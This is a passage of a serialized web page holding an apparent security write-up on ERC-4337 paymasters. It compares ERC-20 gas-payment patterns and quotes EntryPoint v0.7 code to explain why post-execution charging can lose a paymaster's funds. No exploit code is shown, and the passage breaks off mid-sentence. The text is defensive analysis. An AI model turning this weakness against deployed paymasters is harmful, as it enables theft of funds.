consideration.",{"type":23,"tag":32,"props":114830,"children":114831},{},[114832,114833,114838,114840,114845],{"type":29,"value":56488},{"type":23,"tag":71,"props":114834,"children":114836},{"className":114835},[],[114837],{"type":29,"value":112598},{"type":29,"value":114839}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":71,"props":114841,"children":114843},{"className":114842},[],[114844],{"type":29,"value":112517},{"type":29,"value":114846},"'s lifecycle:",{"type":23,"tag":2797,"props":114848,"children":114849},{},[114850,114860],{"type":23,"tag":2801,"props":114851,"children":114852},{},[114853,114855],{"type":29,"value":114854},"During validation via ",{"type":23,"tag":71,"props":114856,"children":114858},{"className":114857},[],[114859],{"type":29,"value":112705},{"type":23,"tag":2801,"props":114861,"children":114862},{},[114863,114865],{"type":29,"value":114864},"After execution via ",{"type":23,"tag":71,"props":114866,"children":114868},{"className":114867},[],[114869],{"type":29,"value":112716},{"type":23,"tag":32,"props":114871,"children":114872},{},[114873],{"type":29,"value":114874},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":923,"props":114876,"children":114878},{"id":114877},"_1-pre-payment-with-refund-pattern",[114879],{"type":29,"value":114880},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":32,"props":114882,"children":114883},{},[114884,114886,114891,114893,114898,114900,114906,114907,114913,114915,114920,114922,114927,114929,114934],{"type":29,"value":114885},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":71,"props":114887,"children":114889},{"className":114888},[],[114890],{"type":29,"value":112705},{"type":29,"value":114892},". After execution completes, ",{"type":23,"tag":71,"props":114894,"children":114896},{"className":114895},[],[114897],{"type":29,"value":112716},{"type":29,"value":114899}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":71,"props":114901,"children":114903},{"className":114902},[],[114904],{"type":29,"value":114905},"SEND",{"type":29,"value":2721},{"type":23,"tag":71,"props":114908,"children":114910},{"className":114909},[],[114911],{"type":29,"value":114912},"Circle",{"type":29,"value":114914}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":71,"props":114916,"children":114918},{"className":114917},[],[114919],{"type":29,"value":112546},{"type":29,"value":114921},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":16596,"props":114923,"children":114924},{},[114925],{"type":29,"value":114926},"before",{"type":29,"value":114928}," execution (specifically during ",{"type":23,"tag":71,"props":114930,"children":114932},{"className":114931},[],[114933],{"type":29,"value":114759},{"type":29,"value":31960},{"type":23,"tag":923,"props":114936,"children":114938},{"id":114937},"_2-post-execution-charging-pattern",[114939],{"type":29,"value":114940},"2. Post-Execution Charging Pattern",{"type":23,"tag":32,"props":114942,"children":114943},{},[114944,114946,114951,114953,114958,114960,114965,114967,114972],{"type":29,"value":114945},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":71,"props":114947,"children":114949},{"className":114948},[],[114950],{"type":29,"value":112705},{"type":29,"value":114952},", the actual token payment is calculated and collected in ",{"type":23,"tag":71,"props":114954,"children":114956},{"className":114955},[],[114957],{"type":29,"value":112716},{"type":29,"value":114959}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":71,"props":114961,"children":114963},{"className":114962},[],[114964],{"type":29,"value":112517},{"type":29,"value":114966},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":71,"props":114968,"children":114970},{"className":114969},[],[114971],{"type":29,"value":112818},{"type":29,"value":114973},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":32,"props":114975,"children":114976},{},[114977,114979,114984,114986,114992,114994,115000,115002,115007],{"type":29,"value":114978},"This approach used to work in ",{"type":23,"tag":71,"props":114980,"children":114982},{"className":114981},[],[114983],{"type":29,"value":112598},{"type":29,"value":114985}," version ",{"type":23,"tag":71,"props":114987,"children":114989},{"className":114988},[],[114990],{"type":29,"value":114991},"v0.6",{"type":29,"value":114993},", but the pattern no longer works in ",{"type":23,"tag":71,"props":114995,"children":114997},{"className":114996},[],[114998],{"type":29,"value":114999},"v0.7",{"type":29,"value":115001},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":71,"props":115003,"children":115005},{"className":115004},[],[115006],{"type":29,"value":114999},{"type":29,"value":115008}," handles the execution phase:",{"type":23,"tag":64,"props":115010,"children":115012},{"className":68,"code":115011,"language":67,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[115013],{"type":23,"tag":71,"props":115014,"children":115015},{"__ignoreMap":7},[115016,115032,115048,115068,115085,115092,115105,115129,115137,115150,115157,115164,115185,115224,115261,115273,115280,115316,115323,115344,115433,115462,115469,115482,115489,115509,115516,115537,115545,115553,115580,115608,115616,115659,115679,115692,115714,115730,115745,115752,115772,115780,115788,115796,115804,115812,115819,115826],{"type":23,"tag":75,"props":115017,"children":115018},{"class":77,"line":78},[115019,115023,115028],{"type":23,"tag":75,"props":115020,"children":115021},{"style":82},[115022],{"type":29,"value":100166},{"type":23,"tag":75,"props":115024,"children":115025},{"style":88},[115026],{"type":29,"value":115027}," _executeUserOp",{"type":23,"tag":75,"props":115029,"children":115030},{"style":94},[115031],{"type":29,"value":97},{"type":23,"tag":75,"props":115033,"children":115034},{"class":77,"line":100},[115035,115039,115044],{"type":23,"tag":75,"props":115036,"children":115037},{"style":104},[115038],{"type":29,"value":100344},{"type":23,"tag":75,"props":115040,"children":115041},{"style":110},[115042],{"type":29,"value":115043}," opIndex",{"type":23,"tag":75,"props":115045,"children":115046},{"style":94},[115047],{"type":29,"value":118},{"type":23,"tag":75,"props":115049,"children":115050},{"class":77,"line":121},[115051,115056,115060,115064],{"type":23,"tag":75,"props":115052,"children":115053},{"style":82},[115054],{"type":29,"value":115055},"        PackedUserOperation",{"type":23,"tag":75,"props":115057,"children":115058},{"style":82},[115059],{"type":29,"value":113347},{"type":23,"tag":75,"props":115061,"children":115062},{"style":110},[115063],{"type":29,"value":113352},{"type":23,"tag":75,"props":115065,"children":115066},{"style":94},[115067],{"type":29,"value":118},{"type":23,"tag":75,"props":115069,"children":115070},{"class":77,"line":138},[115071,115076,115080],{"type":23,"tag":75,"props":115072,"children":115073},{"style":82},[115074],{"type":29,"value":115075},"        UserOpInfo",{"type":23,"tag":75,"props":115077,"children":115078},{"style":82},[115079],{"type":29,"value":113415},{"type":23,"tag":75,"props":115081,"children":115082},{"style":110},[115083],{"type":29,"value":115084}," opInfo\n",{"type":23,"tag":75,"props":115086,"children":115087},{"class":77,"line":161},[115088],{"type":23,"tag":75,"props":115089,"children":115090},{"style":94},[115091],{"type":29,"value":7152},{"type":23,"tag":75,"props":115093,"children":115094},{"class":77,"line":196},[115095,115100],{"type":23,"tag":75,"props":115096,"children":115097},{"style":82},[115098],{"type":29,"value":115099},"    internal",{"type":23,"tag":75,"props":115101,"children":115102},{"style":82},[115103],{"type":29,"value":115104}," virtual\n",{"type":23,"tag":75,"props":115106,"children":115107},{"class":77,"line":220},[115108,115112,115116,115120,115125],{"type":23,"tag":75,"props":115109,"children":115110},{"style":175},[115111],{"type":29,"value":57701},{"type":23,"tag":75,"props":115113,"children":115114},{"style":94},[115115],{"type":29,"value":183},{"type":23,"tag":75,"props":115117,"children":115118},{"style":104},[115119],{"type":29,"value":57360},{"type":23,"tag":75,"props":115121,"children":115122},{"style":110},[115123],{"type":29,"value":115124}," collected",{"type":23,"tag":75,"props":115126,"children":115127},{"style":94},[115128],{"type":29,"value":193},{"type":23,"tag":75,"props":115130,"children":115131},{"class":77,"line":248},[115132],{"type":23,"tag":75,"props":115133,"children":115134},{"style":94},[115135],{"type":29,"value":115136},"    [...]\n",{"type":23,"tag":75,"props":115138,"children":115139},{"class":77,"line":270},[115140,115145],{"type":23,"tag":75,"props":115141,"children":115142},{"style":104},[115143],{"type":29,"value":115144},"        bool",{"type":23,"tag":75,"props":115146,"children":115147},{"style":94},[115148],{"type":29,"value":115149}," success;\n",{"type":23,"tag":75,"props":115151,"children":115152},{"class":77,"line":279},[115153],{"type":23,"tag":75,"props":115154,"children":115155},{"style":94},[115156],{"type":29,"value":42854},{"type":23,"tag":75,"props":115158,"children":115159},{"class":77,"line":303},[115160],{"type":23,"tag":75,"props":115161,"children":115162},{"style":94},[115163],{"type":29,"value":115136},{"type":23,"tag":75,"props":115165,"children":115166},{"class":77,"line":322},[115167,115171,115176,115180],{"type":23,"tag":75,"props":115168,"children":115169},{"style":175},[115170],{"type":29,"value":4629},{"type":23,"tag":75,"props":115172,"children":115173},{"style":94},[115174],{"type":29,"value":115175}," (methodSig ",{"type":23,"tag":75,"props":115177,"children":115178},{"style":209},[115179],{"type":29,"value":2469},{"type":23,"tag":75,"props":115181,"children":115182},{"style":94},[115183],{"type":29,"value":115184}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":75,"props":115186,"children":115187},{"class":77,"line":340},[115188,115193,115197,115202,115206,115210,115214,115219],{"type":23,"tag":75,"props":115189,"children":115190},{"style":104},[115191],{"type":29,"value":115192},"                bytes",{"type":23,"tag":75,"props":115194,"children":115195},{"style":82},[115196],{"type":29,"value":113415},{"type":23,"tag":75,"props":115198,"children":115199},{"style":94},[115200],{"type":29,"value":115201}," executeUserOp ",{"type":23,"tag":75,"props":115203,"children":115204},{"style":209},[115205],{"type":29,"value":212},{"type":23,"tag":75,"props":115207,"children":115208},{"style":82},[115209],{"type":29,"value":114012},{"type":23,"tag":75,"props":115211,"children":115212},{"style":94},[115213],{"type":29,"value":557},{"type":23,"tag":75,"props":115215,"children":115216},{"style":88},[115217],{"type":29,"value":115218},"encodeCall",{"type":23,"tag":75,"props":115220,"children":115221},{"style":94},[115222],{"type":29,"value":115223},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":75,"props":115225,"children":115226},{"class":77,"line":349},[115227,115232,115236,115240,115244,115248,115252,115256],{"type":23,"tag":75,"props":115228,"children":115229},{"style":94},[115230],{"type":29,"value":115231},"                innerCall ",{"type":23,"tag":75,"props":115233,"children":115234},{"style":209},[115235],{"type":29,"value":212},{"type":23,"tag":75,"props":115237,"children":115238},{"style":82},[115239],{"type":29,"value":114012},{"type":23,"tag":75,"props":115241,"children":115242},{"style":94},[115243],{"type":29,"value":557},{"type":23,"tag":75,"props":115245,"children":115246},{"style":88},[115247],{"type":29,"value":115218},{"type":23,"tag":75,"props":115249,"children":115250},{"style":94},[115251],{"type":29,"value":643},{"type":23,"tag":75,"props":115253,"children":115254},{"style":82},[115255],{"type":29,"value":947},{"type":23,"tag":75,"props":115257,"children":115258},{"style":94},[115259],{"type":29,"value":115260},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":75,"props":115262,"children":115263},{"class":77,"line":363},[115264,115268],{"type":23,"tag":75,"props":115265,"children":115266},{"style":94},[115267],{"type":29,"value":81766},{"type":23,"tag":75,"props":115269,"children":115270},{"style":175},[115271],{"type":29,"value":115272},"else\n",{"type":23,"tag":75,"props":115274,"children":115275},{"class":77,"line":656},[115276],{"type":23,"tag":75,"props":115277,"children":115278},{"style":94},[115279],{"type":29,"value":42890},{"type":23,"tag":75,"props":115281,"children":115282},{"class":77,"line":705},[115283,115287,115291,115295,115299,115303,115307,115311],{"type":23,"tag":75,"props":115284,"children":115285},{"style":94},[115286],{"type":29,"value":115231},{"type":23,"tag":75,"props":115288,"children":115289},{"style":209},[115290],{"type":29,"value":212},{"type":23,"tag":75,"props":115292,"children":115293},{"style":82},[115294],{"type":29,"value":114012},{"type":23,"tag":75,"props":115296,"children":115297},{"style":94},[115298],{"type":29,"value":557},{"type":23,"tag":75,"props":115300,"children":115301},{"style":88},[115302],{"type":29,"value":115218},{"type":23,"tag":75,"props":115304,"children":115305},{"style":94},[115306],{"type":29,"value":643},{"type":23,"tag":75,"props":115308,"children":115309},{"style":82},[115310],{"type":29,"value":947},{"type":23,"tag":75,"props":115312,"children":115313},{"style":94},[115314],{"type":29,"value":115315},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":75,"props":115317,"children":115318},{"class":77,"line":787},[115319],{"type":23,"tag":75,"props":115320,"children":115321},{"style":94},[115322],{"type":29,"value":5022},{"type":23,"tag":75,"props":115324,"children":115325},{"class":77,"line":826},[115326,115331,115335,115340],{"type":23,"tag":75,"props":115327,"children":115328},{"style":88},[115329],{"type":29,"value":115330},"            assembly",{"type":23,"tag":75,"props":115332,"children":115333},{"style":94},[115334],{"type":29,"value":183},{"type":23,"tag":75,"props":115336,"children":115337},{"style":1266},[115338],{"type":29,"value":115339},"\"memory-safe\"",{"type":23,"tag":75,"props":115341,"children":115342},{"style":94},[115343],{"type":29,"value":193},{"type":23,"tag":75,"props":115345,"children":115346},{"class":77,"line":834},[115347,115352,115356,115360,115364,115369,115373,115377,115381,115385,115389,115393,115398,115403,115407,115412,115417,115421,115425,115429],{"type":23,"tag":75,"props":115348,"children":115349},{"style":94},[115350],{"type":29,"value":115351},"                success ",{"type":23,"tag":75,"props":115353,"children":115354},{"style":209},[115355],{"type":29,"value":32822},{"type":23,"tag":75,"props":115357,"children":115358},{"style":88},[115359],{"type":29,"value":52153},{"type":23,"tag":75,"props":115361,"children":115362},{"style":94},[115363],{"type":29,"value":643},{"type":23,"tag":75,"props":115365,"children":115366},{"style":88},[115367],{"type":29,"value":115368},"gas",{"type":23,"tag":75,"props":115370,"children":115371},{"style":94},[115372],{"type":29,"value":1471},{"type":23,"tag":75,"props":115374,"children":115375},{"style":104},[115376],{"type":29,"value":43834},{"type":23,"tag":75,"props":115378,"children":115379},{"style":94},[115380],{"type":29,"value":1471},{"type":23,"tag":75,"props":115382,"children":115383},{"style":237},[115384],{"type":29,"value":648},{"type":23,"tag":75,"props":115386,"children":115387},{"style":94},[115388],{"type":29,"value":611},{"type":23,"tag":75,"props":115390,"children":115391},{"style":88},[115392],{"type":29,"value":20887},{"type":23,"tag":75,"props":115394,"children":115395},{"style":94},[115396],{"type":29,"value":115397},"(innerCall, ",{"type":23,"tag":75,"props":115399,"children":115400},{"style":237},[115401],{"type":29,"value":115402},"0x20",{"type":23,"tag":75,"props":115404,"children":115405},{"style":94},[115406],{"type":29,"value":3851},{"type":23,"tag":75,"props":115408,"children":115409},{"style":88},[115410],{"type":29,"value":115411},"mload",{"type":23,"tag":75,"props":115413,"children":115414},{"style":94},[115415],{"type":29,"value":115416},"(innerCall), ",{"type":23,"tag":75,"props":115418,"children":115419},{"style":237},[115420],{"type":29,"value":648},{"type":23,"tag":75,"props":115422,"children":115423},{"style":94},[115424],{"type":29,"value":611},{"type":23,"tag":75,"props":115426,"children":115427},{"style":237},[115428],{"type":29,"value":71528},{"type":23,"tag":75,"props":115430,"children":115431},{"style":94},[115432],{"type":29,"value":653},{"type":23,"tag":75,"props":115434,"children":115435},{"class":77,"line":881},[115436,115441,115445,115450,115454,115458],{"type":23,"tag":75,"props":115437,"children":115438},{"style":94},[115439],{"type":29,"value":115440},"                collected ",{"type":23,"tag":75,"props":115442,"children":115443},{"style":209},[115444],{"type":29,"value":32822},{"type":23,"tag":75,"props":115446,"children":115447},{"style":88},[115448],{"type":29,"value":115449}," mload",{"type":23,"tag":75,"props":115451,"children":115452},{"style":94},[115453],{"type":29,"value":643},{"type":23,"tag":75,"props":115455,"children":115456},{"style":237},[115457],{"type":29,"value":648},{"type":23,"tag":75,"props":115459,"children":115460},{"style":94},[115461],{"type":29,"value":653},{"type":23,"tag":75,"props":115463,"children":115464},{"class":77,"line":3355},[115465],{"type":23,"tag":75,"props":115466,"children":115467},{"style":94},[115468],{"type":29,"value":5022},{"type":23,"tag":75,"props":115470,"children":115471},{"class":77,"line":3390},[115472,115477],{"type":23,"tag":75,"props":115473,"children":115474},{"style":88},[115475],{"type":29,"value":115476},"            _restoreFreePtr",{"type":23,"tag":75,"props":115478,"children":115479},{"style":94},[115480],{"type":29,"value":115481},"(saveFreePtr);\n",{"type":23,"tag":75,"props":115483,"children":115484},{"class":77,"line":3423},[115485],{"type":23,"tag":75,"props":115486,"children":115487},{"style":94},[115488],{"type":29,"value":2503},{"type":23,"tag":75,"props":115490,"children":115491},{"class":77,"line":3436},[115492,115496,115500,115504],{"type":23,"tag":75,"props":115493,"children":115494},{"style":175},[115495],{"type":29,"value":2445},{"type":23,"tag":75,"props":115497,"children":115498},{"style":94},[115499],{"type":29,"value":183},{"type":23,"tag":75,"props":115501,"children":115502},{"style":209},[115503],{"type":29,"value":13434},{"type":23,"tag":75,"props":115505,"children":115506},{"style":94},[115507],{"type":29,"value":115508},"success) {\n",{"type":23,"tag":75,"props":115510,"children":115511},{"class":77,"line":3449},[115512],{"type":23,"tag":75,"props":115513,"children":115514},{"style":94},[115515],{"type":29,"value":115136},{"type":23,"tag":75,"props":115517,"children":115518},{"class":77,"line":3457},[115519,115523,115528,115532],{"type":23,"tag":75,"props":115520,"children":115521},{"style":175},[115522],{"type":29,"value":4629},{"type":23,"tag":75,"props":115524,"children":115525},{"style":94},[115526],{"type":29,"value":115527}," (innerRevertCode ",{"type":23,"tag":75,"props":115529,"children":115530},{"style":209},[115531],{"type":29,"value":2469},{"type":23,"tag":75,"props":115533,"children":115534},{"style":94},[115535],{"type":29,"value":115536}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":75,"props":115538,"children":115539},{"class":77,"line":3465},[115540],{"type":23,"tag":75,"props":115541,"children":115542},{"style":3621},[115543],{"type":29,"value":115544},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":75,"props":115546,"children":115547},{"class":77,"line":3473},[115548],{"type":23,"tag":75,"props":115549,"children":115550},{"style":3621},[115551],{"type":29,"value":115552},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":75,"props":115554,"children":115555},{"class":77,"line":3481},[115556,115561,115566,115571,115576],{"type":23,"tag":75,"props":115557,"children":115558},{"style":175},[115559],{"type":29,"value":115560},"                revert",{"type":23,"tag":75,"props":115562,"children":115563},{"style":88},[115564],{"type":29,"value":115565}," FailedOp",{"type":23,"tag":75,"props":115567,"children":115568},{"style":94},[115569],{"type":29,"value":115570},"(opIndex, ",{"type":23,"tag":75,"props":115572,"children":115573},{"style":1266},[115574],{"type":29,"value":115575},"\"AA95 out of gas\"",{"type":23,"tag":75,"props":115577,"children":115578},{"style":94},[115579],{"type":29,"value":15099},{"type":23,"tag":75,"props":115581,"children":115582},{"class":77,"line":3524},[115583,115587,115591,115595,115599,115603],{"type":23,"tag":75,"props":115584,"children":115585},{"style":94},[115586],{"type":29,"value":81766},{"type":23,"tag":75,"props":115588,"children":115589},{"style":175},[115590],{"type":29,"value":6878},{"type":23,"tag":75,"props":115592,"children":115593},{"style":175},[115594],{"type":29,"value":7386},{"type":23,"tag":75,"props":115596,"children":115597},{"style":94},[115598],{"type":29,"value":115527},{"type":23,"tag":75,"props":115600,"children":115601},{"style":209},[115602],{"type":29,"value":2469},{"type":23,"tag":75,"props":115604,"children":115605},{"style":94},[115606],{"type":29,"value":115607}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":75,"props":115609,"children":115610},{"class":77,"line":4890},[115611],{"type":23,"tag":75,"props":115612,"children":115613},{"style":3621},[115614],{"type":29,"value":115615},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":75,"props":115617,"children":115618},{"class":77,"line":4937},[115619,115623,115628,115632,115637,115641,115646,115650,115654],{"type":23,"tag":75,"props":115620,"children":115621},{"style":104},[115622],{"type":29,"value":113795},{"type":23,"tag":75,"props":115624,"children":115625},{"style":94},[115626],{"type":29,"value":115627}," actualGas ",{"type":23,"tag":75,"props":115629,"children":115630},{"style":209},[115631],{"type":29,"value":212},{"type":23,"tag":75,"props":115633,"children":115634},{"style":94},[115635],{"type":29,"value":115636}," preGas ",{"type":23,"tag":75,"props":115638,"children":115639},{"style":209},[115640],{"type":29,"value":15602},{"type":23,"tag":75,"props":115642,"children":115643},{"style":82},[115644],{"type":29,"value":115645}," gasleft",{"type":23,"tag":75,"props":115647,"children":115648},{"style":94},[115649],{"type":29,"value":2464},{"type":23,"tag":75,"props":115651,"children":115652},{"style":209},[115653],{"type":29,"value":7862},{"type":23,"tag":75,"props":115655,"children":115656},{"style":94},[115657],{"type":29,"value":115658}," opInfo.preOpGas;\n",{"type":23,"tag":75,"props":115660,"children":115661},{"class":77,"line":4950},[115662,115666,115670,115674],{"type":23,"tag":75,"props":115663,"children":115664},{"style":104},[115665],{"type":29,"value":113795},{"type":23,"tag":75,"props":115667,"children":115668},{"style":94},[115669],{"type":29,"value":114442},{"type":23,"tag":75,"props":115671,"children":115672},{"style":209},[115673],{"type":29,"value":212},{"type":23,"tag":75,"props":115675,"children":115676},{"style":94},[115677],{"type":29,"value":115678}," opInfo.prefund;\n",{"type":23,"tag":75,"props":115680,"children":115681},{"class":77,"line":4958},[115682,115687],{"type":23,"tag":75,"props":115683,"children":115684},{"style":88},[115685],{"type":29,"value":115686},"                _emitPrefundTooLow",{"type":23,"tag":75,"props":115688,"children":115689},{"style":94},[115690],{"type":29,"value":115691},"(opInfo);\n",{"type":23,"tag":75,"props":115693,"children":115694},{"class":77,"line":4967},[115695,115700,115705,115709],{"type":23,"tag":75,"props":115696,"children":115697},{"style":88},[115698],{"type":29,"value":115699},"                _emitUserOperationEvent",{"type":23,"tag":75,"props":115701,"children":115702},{"style":94},[115703],{"type":29,"value":115704},"(opInfo, ",{"type":23,"tag":75,"props":115706,"children":115707},{"style":82},[115708],{"type":29,"value":19434},{"type":23,"tag":75,"props":115710,"children":115711},{"style":94},[115712],{"type":29,"value":115713},", actualGasCost, actualGas);\n",{"type":23,"tag":75,"props":115715,"children":115716},{"class":77,"line":4975},[115717,115721,115725],{"type":23,"tag":75,"props":115718,"children":115719},{"style":94},[115720],{"type":29,"value":115440},{"type":23,"tag":75,"props":115722,"children":115723},{"style":209},[115724],{"type":29,"value":212},{"type":23,"tag":75,"props":115726,"children":115727},{"style":94},[115728],{"type":29,"value":115729}," actualGasCost;\n",{"type":23,"tag":75,"props":115731,"children":115732},{"class":77,"line":5016},[115733,115737,115741],{"type":23,"tag":75,"props":115734,"children":115735},{"style":94},[115736],{"type":29,"value":81766},{"type":23,"tag":75,"props":115738,"children":115739},{"style":175},[115740],{"type":29,"value":6878},{"type":23,"tag":75,"props":115742,"children":115743},{"style":94},[115744],{"type":29,"value":401},{"type":23,"tag":75,"props":115746,"children":115747},{"class":77,"line":5025},[115748],{"type":23,"tag":75,"props":115749,"children":115750},{"style":94},[115751],{"type":29,"value":115136},{"type":23,"tag":75,"props":115753,"children":115754},{"class":77,"line":5033},[115755,115759,115763,115768],{"type":23,"tag":75,"props":115756,"children":115757},{"style":94},[115758],{"type":29,"value":115440},{"type":23,"tag":75,"props":115760,"children":115761},{"style":209},[115762],{"type":29,"value":212},{"type":23,"tag":75,"props":115764,"children":115765},{"style":88},[115766],{"type":29,"value":115767}," _postExecution",{"type":23,"tag":75,"props":115769,"children":115770},{"style":94},[115771],{"type":29,"value":97},{"type":23,"tag":75,"props":115773,"children":115774},{"class":77,"line":5041},[115775],{"type":23,"tag":75,"props":115776,"children":115777},{"style":94},[115778],{"type":29,"value":115779},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":75,"props":115781,"children":115782},{"class":77,"line":5050},[115783],{"type":23,"tag":75,"props":115784,"children":115785},{"style":94},[115786],{"type":29,"value":115787},"                    opInfo,\n",{"type":23,"tag":75,"props":115789,"children":115790},{"class":77,"line":5058},[115791],{"type":23,"tag":75,"props":115792,"children":115793},{"style":94},[115794],{"type":29,"value":115795},"                    context,\n",{"type":23,"tag":75,"props":115797,"children":115798},{"class":77,"line":5083},[115799],{"type":23,"tag":75,"props":115800,"children":115801},{"style":94},[115802],{"type":29,"value":115803},"                    actualGas\n",{"type":23,"tag":75,"props":115805,"children":115806},{"class":77,"line":5108},[115807],{"type":23,"tag":75,"props":115808,"children":115809},{"style":94},[115810],{"type":29,"value":115811},"                );\n",{"type":23,"tag":75,"props":115813,"children":115814},{"class":77,"line":5137},[115815],{"type":23,"tag":75,"props":115816,"children":115817},{"style":94},[115818],{"type":29,"value":5022},{"type":23,"tag":75,"props":115820,"children":115821},{"class":77,"line":5163},[115822],{"type":23,"tag":75,"props":115823,"children":115824},{"style":94},[115825],{"type":29,"value":2503},{"type":23,"tag":75,"props":115827,"children":115828},{"class":77,"line":5172},[115829],{"type":23,"tag":75,"props":115830,"children":115831},{"style":94},[115832],{"type":29,"value":346},{"type":23,"tag":32,"props":115834,"children":115835},{},[115836,115838,115843,115845,115851,115853,115859,115861,115867],{"type":29,"value":115837},"During execution, the ",{"type":23,"tag":71,"props":115839,"children":115841},{"className":115840},[],[115842],{"type":29,"value":112598},{"type":29,"value":115844}," contract makes a ",{"type":23,"tag":940,"props":115846,"children":115849},{"href":115847,"rel":115848},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[944],[115850],{"type":29,"value":49487},{"type":29,"value":115852}," to its own ",{"type":23,"tag":71,"props":115854,"children":115856},{"className":115855},[],[115857],{"type":29,"value":115858},"innerHandleOp",{"type":29,"value":115860}," function through a low-level ",{"type":23,"tag":71,"props":115862,"children":115864},{"className":115863},[],[115865],{"type":29,"value":115866},"call()",{"type":29,"value":115868},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":32,"props":115870,"children":115871},{},[115872,115874,115880,115881,115886,115888,115895,115897,115903],{"type":29,"value":115873},"If this call fails (when ",{"type":23,"tag":71,"props":115875,"children":115877},{"className":115876},[],[115878],{"type":29,"value":115879},"success",{"type":29,"value":16773},{"type":23,"tag":71,"props":115882,"children":115884},{"className":115883},[],[115885],{"type":29,"value":19434},{"type":29,"value":115887},"), the code enters an ",{"type":23,"tag":940,"props":115889,"children":115892},{"href":115890,"rel":115891},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[944],[115893],{"type":29,"value":115894},"error handling",{"type":29,"value":115896}," flow that checks the ",{"type":23,"tag":71,"props":115898,"children":115900},{"className":115899},[],[115901],{"type":29,"value":115902},"innerRevertCode",{"type":29,"value":115904},". There are three possible paths:",{"type":23,"tag":2797,"props":115906,"children":115907},{},[115908,115932,115950],{"type":23,"tag":2801,"props":115909,"children":115910},{},[115911,115912,115917,115918,115924,115926,115931],{"type":29,"value":18739},{"type":23,"tag":71,"props":115913,"children":115915},{"className":115914},[],[115916],{"type":29,"value":115902},{"type":29,"value":16773},{"type":23,"tag":71,"props":115919,"children":115921},{"className":115920},[],[115922],{"type":29,"value":115923},"INNER_OUT_OF_GAS",{"type":29,"value":115925},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":71,"props":115927,"children":115929},{"className":115928},[],[115930],{"type":29,"value":115575},{"type":29,"value":557},{"type":23,"tag":2801,"props":115933,"children":115934},{},[115935,115936,115941,115942,115948],{"type":29,"value":18739},{"type":23,"tag":71,"props":115937,"children":115939},{"className":115938},[],[115940],{"type":29,"value":115902},{"type":29,"value":16773},{"type":23,"tag":71,"props":115943,"children":115945},{"className":115944},[],[115946],{"type":29,"value":115947},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":115949},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":2801,"props":115951,"children":115952},{},[115953,115955,115961,115963,115969],{"type":29,"value":115954},"For any other revert reason, the code will still call ",{"type":23,"tag":71,"props":115956,"children":115958},{"className":115957},[],[115959],{"type":29,"value":115960},"_postExecution()",{"type":29,"value":115962}," but with ",{"type":23,"tag":71,"props":115964,"children":115966},{"className":115965},[],[115967],{"type":29,"value":115968},"PostOpMode.postOpReverted",{"type":29,"value":115970},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":32,"props":115972,"children":115973},{},[115974,115976,115981,115983,115988,115990,115995,115997,116002],{"type":29,"value":115975},"We're particularly interested in the third error path, where 